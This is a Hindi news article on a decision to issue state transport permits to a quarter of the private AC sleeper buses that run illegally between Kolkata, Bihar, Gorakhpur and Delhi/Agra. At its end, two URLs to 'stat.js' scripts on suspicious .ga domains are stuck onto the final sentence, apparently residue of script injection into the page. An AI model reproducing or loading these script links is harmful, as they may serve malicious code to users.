अब निजी बसों को भी निगम की तरफ से मिल रही है मंजूरी। अब निजी बसे भी रास्ते पर वैध तरीके से परिचलित करी जाएंगी। यात्रियों की सहूलियत और प्राइवेट बस सन्चालको की मांग को देखते हुए परिवहन आयुक्त ने 25 फीसदी निजी बसों को राज्य परिवहन प्राधिकरण से परमिट देने के फैसला किया है। अब कोलकाता – बिहार से होकर गोरखपुर होते हुए दिल्ली – आगरा रूट पर दौड़ने वाली डग्गामार स्लीपर एसी बसें अब वैध तरीके से दौड़ सकेंगी। इसके लिए मुख्यालय ने क्षेत्रीय परिवहन निगम कार्यालयों से बसों की सूची मांगी है।

 

कोलकाता-बिहार से होते हुए दिल्ली-आगरा और जयपुर के लिए बड़ी संख्या में एसी स्लीपर बसें इस्तेमाल करी जाती हैं। इन बसों का अवैध तरीके से संचालन किया जाता है। ये बसें भले ही अवैध तरीके से चलायी जाती है लेकिन यात्रियों को इनसे काफी सहूलियत थी जिसके कारण कभी भी इनके खिलाफ प्रदर्शन या आवाज नहीं उठी। अवैध तरीके से संचालन और बार-बार दुर्घटनाओं को लेकर विभागीय अधिकारियों ने अभियान चलाकर कार्रवाई तो की लेकिन प्रभावी अंकुश नहीं लग सका। कार्रवाई के भय में ड्राइवरों द्वारा तेज रफ्तार में बसों के संचालन से कई बार दुर्घटनाएं होती थी और इतना ही नहीं त्योहारी सीजन में बस संचालकों द्वारा मानमाना किराया वसूला जा रहा था।

 

 

अनलॉक होने के बाद से ही लखनऊ-नोएडा एक्सप्रेस-वे पर गोरखपुर से दिल्ली आगरा रूट पर तमाम निजी स्लीपर बसें टूरिस्ट परमिट पर सवारियां लेकर चलती थीं।
परिवहन निगम 25 फीसदी प्राइवेट बसों को भी निगम की बसों की तरह ही परमिट देने जा रहा है। ऐसे में अब ये बसें रास्तों से सवारियां भर सकेंगी। लखनऊ- नोएडा एक्सप्रेस-वे होते हुए गोरखपुर से दिल्ली आगरा रूट पर तमाम स्लीपर बसें अवैध रूप से टूरिस्ट परमिट पर सवारियां लेकर चलती हैं। निजी बस संचालकों की मांग को देखते हुए परिवहन आयुक्त ने 25 प्रतिशत प्राइवेट बसों को राज्य परिवहन प्राधिकरण से परमिट दिया जाएगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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